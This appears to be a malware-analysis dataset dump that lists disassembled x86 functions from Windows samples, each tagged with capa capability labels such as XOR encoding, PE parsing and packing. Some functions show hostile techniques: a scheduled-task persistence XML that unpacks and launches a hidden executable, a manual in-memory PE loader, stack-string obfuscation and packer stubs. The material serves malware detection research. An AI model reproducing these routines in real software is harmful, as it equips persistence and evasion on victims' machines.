joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007801
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
mov esi, 0x9c
xor edi, edi
push esi
lea eax, [ebp - 0xac]
push edi
push eax
xor ebx, ebx
call fcn.10009f60
add esp, 0xc
lea eax, [ebp - 0xac]
mov dword [ebp - 0xac], esi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000792c
cmp dword [ebp - 0x9c], 2
jne 0x1000792c
cmp dword [ebp - 0xa8], 5
jbe 0x1000792c
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000792c
lea eax, [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push eax
push edi
push edi
push 0x19
push dword [ebp - 8]
mov dword [ebp - 4], edi
call esi
test eax, eax
jne 0x100078e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100078e3
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x100078e1
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
je 0x100078da
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor edi, edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x1000792c
cmp ebx, 0x1000
je 0x10007925
cmp ebx, 0x2000
je 0x1000791e
cmp ebx, 0x3000
je 0x10007917
cmp ebx, 0x4000
jne 0x1000793a
push 0x1002ec88
jmp 0x10007931
push 0x1002ec84
jmp 0x10007931
push 0x1002ec80
jmp 0x10007931
push 0x1002ec7c
jmp 0x10007931
push 0x1002ec74
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], edi
push eax
lea eax, [ebp - 0x10]
push eax
push str.PromptOnSecureDesktop
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push closesocket
mov dword [ebp - 0xc], edi
call fcn.1000776d
add esp, 0x14
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
jbe 0x10007976
mov eax, dword [ebp - 0x10]
cmp byte [eax], 1
jne 0x10007976
push str._uac
jmp 0x1000797b
push str._UAC
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
pop eax
leave
ret
Function at 0x10007989
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b8
push esi
push edi
push 0x1002d380
lea eax, [ebp - 0x3b8]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x2b4], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
xor edi, edi
push 0x20
lea eax, [ebp - 0x28c]
push edi
push eax
call fcn.10009f60
add esp, 0x18
lea eax, [ebp - 0x2b3]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2b3]
push edi
push eax
push 1
push str.Groupfenzhu
push str.Console
push closesocket
call fcn.1000929f
add esp, 0x20
cmp eax, 1
jge 0x10007a0e
lea eax, [ebp - 0x2b3]
push 0x1002d47a
push eax
call fcn.1000a1d0
pop ecx
pop ecx
push 0x10
lea eax, [ebp - 0x1c]
pop esi
push esi
push edi
push eax
call fcn.10009f60
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [esi + 0x48]
call dword [0x10033c1c]
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.100096e0
lea eax, [ebp - 0x3b8]
push eax
lea eax, [ebp - 0x28c]
push 0x32
push eax
call fcn.1000743b
add esp, 0x18
lea eax, [ebp - 0x228]
mov dword [ebp - 0x228], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.10007725
call fcn.10007595
test eax, eax
setne al
mov byte [ebp - 0x164], al
lea eax, [ebp - 0x180]
push eax
call fcn.100073e1
lea eax, [ebp - 0x102]
push eax
call fcn.10007801
call fcn.100076b7
push eax
lea eax, [ebp - 0x12a]
push eax
call fcn.1000a1c0
add esp, 0x1c
lea eax, [ebp - 0xc]
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xc], 8
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 8]
cmp eax, 0x2bf20
jbe 0x10007aff
mov dword [ebp - 0xe0], 1
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
push 0x14
pop ecx
call fcn.1000b140
mov dword [ebp - 0x160], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x16c], eax
call fcn.100072bc
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x25a]
push str._8.23
push eax
call fcn.1000a1c0
lea eax, [ebp - 0xdc]
push 0x80
push eax
push str.RDP_Tcp
call fcn.1000763c
lea eax, [ebp - 0x15c]
push 0x32
push eax
lea eax, [ebp - 0x4b8]
push eax
call fcn.100075d5
add esp, 0x20
lea eax, [ebp - 0x2b4]
mov ecx, esi
push 0x258
push eax
call fcn.1000184e
pop edi
pop esi
leave
ret
Function at 0x10007bb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xee2
push str.__xml_version_1.0__encoding_UTF_16____r_n_Task_version_1.2__xmlns_http:__schemas.microsoft.com_windows_2004_02_mit_task___r_n___RegistrationInfo__r_n_____Date_2022_10_24T03:31:27__Date__r_n_____Author_Administrator__Author__r_n____RegistrationInfo__r_n___Triggers__r_n_____LogonTrigger__r_n_______StartBoundary_2022_10_24T03:31:00__StartBoundary__r_n_______Enabled_true__Enabled__r_n______LogonTrigger__r_n____Triggers__r_n___Principals__r_n_____Principal_id_Author___r_n_______UserId_Administrator__UserId__r_n_______LogonType_InteractiveToken__LogonType__r_n_______RunLevel_HighestAvailable__RunLevel__r_n______Principal__r_n____Principals__r_n___Settings__r_n_____MultipleInstancesPolicy_IgnoreNew__MultipleInstancesPolicy__r_n_____DisallowStartIfOnBatteries_false__DisallowStartIfOnBatteries__r_n_____StopIfGoingOnBatteries_false__StopIfGoingOnBatteries__r_n_____AllowHardTerminate_false__AllowHardTerminate__r_n_____StartWhenAvailable_false__StartWhenAvailable__r_n_____RunOnlyIfNetworkAvailable_false__RunOnlyIfNetworkAvailable__r_n_____IdleSettings__r_n_______StopOnIdleEnd_true__StopOnIdleEnd__r_n_______RestartOnIdle_false__RestartOnIdle__r_n______IdleSettings__r_n_____AllowStartOnDemand_true__AllowStartOnDemand__r_n_____Enabled_true__Enabled__r_n_____Hidden_false__Hidden__r_n_____RunOnlyIfIdle_false__RunOnlyIfIdle__r_n_____WakeToRun_false__WakeToRun__r_n_____ExecutionTimeLimit_PT0S__ExecutionTimeLimit__r_n_____Priority_7__Priority__r_n_____RestartOnFailure__r_n_______Interval_PT1M__Interval__r_n_______Count_3__Count__r_n______RestartOnFailure__r_n____Settings__r_n___Actions_Context_Author___r_n_____Exec__r_n_______Command_C:ProgramDataDataun.exe__Command__r_n_______Arguments_x__o___ppoiuytrewq_C:ProgramDataDataupx.rar_iusb3mon.exe_C:ProgramDataProgram__st__Arguments__r_n______Exec__r_n_____Exec__r_n_______Command_C:ProgramDataProgramiusb3mon.exe__Command__r_n_______WorkingDirectory_C:ProgramDataProgram__WorkingDirectory__r_n______Exec__r_n____Actions__r_n__Task_
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10007bea
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10007eaf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10007fbe
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10007fbe
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10007f07
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10007fbe
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call fcn.100096e0
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10007fcc
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10007f89
push eax
push edi
call fcn.10008136
pop ecx
pop ecx
push edi
call fcn.100081b0
test eax, eax
pop ecx
je 0x10007fb7
push edi
call fcn.10008079
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10007fc5
add eax, ebx
test eax, eax
je 0x10007fb7
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10007fc2
push edi
call fcn.1000836a
pop ecx
xor eax, eax
jmp 0x10007fc7
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007fcc
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10008076
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10008037
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10008060
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call fcn.10009f60
add esp, 0xc
jmp 0x10008060
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call fcn.100096e0
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10008005
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10008e06
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10008dce
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000b61d
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10008e60
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x10008e7f
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x10008e6c
ret

Function at 0x10008e80
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call fcn.1000a034
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008ed9
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call fcn.1000e930
pop ecx
pop ecx
jmp 0x10008ed0
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10008ed9
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10008eba
mov eax, dword [esi + 8]
jmp 0x10008edb
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10008edf
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e508
push 0x1000b060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x10008f9b
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x10008fa0
mov dword [ebp - 0x28], edi
jmp 0x10008fa4
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.10008fc2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008fdd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e518
push 0x1000b060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x44], 0x4f
mov byte [ebp - 0x43], 0x70
mov byte [ebp - 0x42], 0x65
mov byte [ebp - 0x41], 0x6e
mov byte [ebp - 0x40], 0x49
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x70
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3c], 0x74
mov byte [ebp - 0x3b], 0x44
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x73
mov byte [ebp - 0x38], 0x6b
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x70
xor ebx, ebx
mov byte [ebp - 0x34], bl
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x1c], eax
push str.OpenDesktopA
push dword [ebp - 0x24]
call esi
mov edi, eax
push str.CloseDesktop
push dword [ebp - 0x24]
call esi
mov esi, eax
mov dword [ebp - 0x20], 1
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
push 0x1ff
push ebx
push ebx
je 0x1000909a
push dword [ebp + 8]
call edi
jmp 0x1000909d
call dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
cmp eax, ebx
je 0x100090b4
push eax
call fcn.10008edf
pop ecx
test eax, eax
jne 0x100090b7
push dword [ebp - 0x2c]
call esi
mov dword [ebp - 0x20], ebx
or dword [ebp - 4], 0xffffffff
call fcn.100090d4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100090e3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x100091b7
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x10009192
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x100091a8
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x100091b3
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000950f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e538
push 0x1000b060
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov dword [ebp - 0x38], edi
push str.RegCreateKeyExA
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x2c], eax
push str.RegSetValueExA
push edi
call esi
mov dword [ebp - 0x34], eax
push str.RegDeleteKeyA
push edi
call esi
mov dword [ebp - 0x1c], eax
push str.RegDeleteValueA
push edi
call esi
mov dword [ebp - 0x40], eax
push str.RegOpenKeyExA
push edi
call esi
mov dword [ebp - 0x28], eax
push str.RegCloseKey
push edi
call esi
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
sub eax, ebx
je 0x100095f5
dec eax
je 0x10009613
dec eax
je 0x100095cf
dec eax
jne 0x10009670
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10009670
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x40]
jmp 0x10009665
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10009670
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x1c]
jmp 0x10009665
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x2c]
test eax, eax
jne 0x10009670
lea eax, [ebp - 0x3c]
push eax
push 0x2001f
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 0x28]
test eax, eax
jne 0x10009670
mov esi, dword [ebp + 0x14]
cmp esi, ebx
jbe 0x10009670
cmp esi, 2
jbe 0x1000964c
cmp esi, 4
je 0x10009642
cmp esi, 7
je 0x1000964c
jmp 0x10009670
push 4
lea eax, [ebp + 0x1c]
push eax
push 4
jmp 0x1000965b
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x18]
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x3c]
call dword [ebp - 0x34]
test eax, eax
jne 0x10009670
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.1000969b
cmp edi, ebx
je 0x10009684
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100096a8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100096c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x100096c5
xor eax, eax
ret
push 1
pop eax
ret
Function at 0x1000a2b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000a2d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1000e062
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1000a2f3
test byte [esp + 8], 2
je 0x1000a2f3
call fcn.1000e0d5
mov dword [eax], 0xd
call fcn.1000e0de
mov dword [eax], 5
jmp 0x1000a2cc
xor eax, eax
ret
Function at 0x5c9e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x5118a000
lea edi, [esi - 0x189000]
push edi
or ebp, 0xffffffff
jmp 0x5c9e82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5c9e89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c9e78
mov eax, 1
add ebx, ebx
jne 0x5c9e9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5c9eac
jne 0x5c9ecb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c9ecb
dec eax
add ebx, ebx
jne 0x5c9eb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5c9e90
add ebx, ebx
jne 0x5c9ec7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5c9f1d
xor ecx, ecx
sub eax, 3
jb 0x5c9ee3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5c9f52
sar eax, 1
mov ebp, eax
jmp 0x5c9eee
add ebx, ebx
jne 0x5c9eee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c9ebc
inc ecx
add ebx, ebx
jne 0x5c9efc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5c9ebc
add ebx, ebx
jne 0x5c9f09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5c9efe
jne 0x5c9f1a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5c9efe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5c9f3c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5c9f2e
jmp 0x5c9e7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5c9f3c
add edi, ecx
jmp 0x5c9e7e
pop esi
mov edi, esi
mov ecx, 0x3704
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5c9f5a
cmp byte [edi], 0x19
jne 0x5c9f5a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5c9f5f
lea edi, [esi + 0x1c6000]
mov eax, dword [edi]
or eax, eax
je 0x5c9fce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1cce3c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1ccf04]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5c9f8c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1ccf08]
or eax, eax
je 0x5c9fc8
mov dword [ebx], eax
add ebx, 4
jmp 0x5c9fa9
call dword [esi + 0x1ccf10]
mov ebp, dword [esi + 0x1ccf0c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5ca002
sub esp, 0xffffff80
jmp 0x47e8b4
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x27671d9
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x570e0f6d
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219